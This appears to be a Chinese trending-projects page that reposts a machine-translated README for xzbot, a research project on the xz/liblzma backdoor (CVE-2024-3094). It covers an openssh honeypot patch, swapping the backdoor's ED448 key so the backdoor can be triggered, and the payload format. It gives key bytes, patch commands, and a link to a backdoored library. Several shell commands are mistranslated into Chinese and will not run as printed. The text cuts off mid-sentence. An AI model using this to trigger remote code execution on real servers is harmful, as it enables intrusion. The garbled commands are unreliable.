GitHub 热门项目:xzbot

摘要

GitHub项目:xzbot 仓库地址:https://github。

the patch backdoor xzbot key
2026-05-25 1 阅读 GitHub Trending
GitHub 项目:xzbot 仓库地址:https://github.com/amlweems/xzbot 星级:3557 | 作者:amlweems 项目描述:xz 后门的注释、蜜罐和漏洞利用演示 (CVE-2024-3094) =================================================== 自述文件内容: # xzbot xz [后门](https://www.openwall.com/lists/oss-security/2024/03/29/4) (CVE-2024-3094) 的探索。 包括以下内容: * [honeypot](#honeypot):伪造的易受攻击的服务器来检测漏洞尝试 * [ed448 patch](#ed448-patch): 修补 liblzma.so 以使用我们自己的 ED448 公钥 * [backdoor format](#backdoor-format): 后门payload的格式 * [后门演示](#backdoor-demo):假设了解 ED448 私钥,触发 RCE 的 cli ![xzbot 演示](assets/demo.png) ## 蜜罐 请参阅 [openssh.patch](openssh.patch) 了解 openssh 的简单补丁,该补丁记录了任何 尝试使用与后门格式匹配的公钥 N 进行连接。 ```` $ git 克隆 https://github.com/openssh/openssh-portable $ patch -p1 < ~/path/to/openssh.patch $ 自动重新配置 $ ./配置 $ 制作 ```` 任何连接尝试都会在 sshd 日志中显示如下: ```` $ Journalctl -u ssh-xzbot --since='1 天前' | grep xzbot: 3 月 30 日 00:00:00 蜜罐 sshd-xzbot[1234]: xzbot: magic 1 [preauth] 3 月 30 日 00:00:00 蜜罐 sshd-xzbot[1234]: xzbot: 010000000100000000000000000000005725B22ED2... ```` # ed448 补丁 后门使用硬编码的 ED448 公钥进行签名验证和 解密有效负载。如果我们用我们自己的密钥替换这个密钥,我们可以触发 后门。 攻击者的ED448密钥是: ```` 0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 交流 28 34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48 10 0c b0 6c 3a 14 ee 89 55 d2 45 00 c7 7f 6e 20 d3 2c 60 2b 2c 6d 31 00 ```` 我们将用我们自己的密钥替换这个密钥(用seed=0生成): ```` 5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6 54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1 66 91 69 b2 1c 32 c4 80 00 ```` 首先,下载一个有后门的 libxzma 共享对象,例如 来自 https://snapshot.debian.org/package/xz-utils/5.6.1-1。 然后运行补丁脚本。有关示例,请参阅 [assets/](assets/)。 ```` $ pip 安装 pwntools $ shasum -a 256 liblzma.so.5.6.1 605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4 liblzma.so.5.6.1 $ python3 patch.py liblzma.so.5.6.1 在偏移处修补函数:0x24470 生成修补后的so:liblzma.so.5.6.1.patch ```` 然后使用修改后的“liblzma.so.5.6.1.patch”共享对象运行 sshd。 ## 后门格式 可以通过使用带有 SSH 证书的连接来触发后门 CA 签名密钥 N 值中的有效负载。该有效负载必须加密并且 使用攻击者的 ED448 密钥进行签名。 该结构具有以下格式: ```` +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 一个(32 位)| b(32 位)| c (64 位) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + 密文(240 字节)+ | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ```` 请求类型源自 t